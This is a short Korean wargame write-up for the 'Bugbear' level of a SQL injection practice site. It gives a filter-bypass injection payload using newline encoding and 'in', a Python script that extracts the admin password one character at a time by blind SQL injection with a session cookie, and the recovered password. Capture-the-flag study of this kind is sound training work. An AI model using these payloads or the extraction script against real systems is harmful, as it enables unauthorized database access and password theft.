13. Bugbear

서론

---

NULL

진행과정

---

like를 막았지만 in이 남아잇다. 

문법 : 인자 in ("값")

?no=1%0a||id%0ain%0a("admin")

import urllib, httplib
 
conn = httplib.HTTPConnection("los.eagle-jump.org")
url = "/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1"
Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}
PW = ""
 
for i in range(1, 9) :
    for j in range(48, 128) :
        payload ='%0a||id%0ain%0a("admin")%0a%26%26%0amid(pw,'+str(i)+',1)%0ain%0a("' + chr(j) +'")'
        conn.request("GET", url+payload, "", Headers)
        k = conn.getresponse().read()
        if "Hello admin" in k :
            print "%dst [*]Found %c" % (i, j)
            PW+=chr(j)
            break
print "Password = %s" % PW

?pw=735c2773

# REF

---

NULL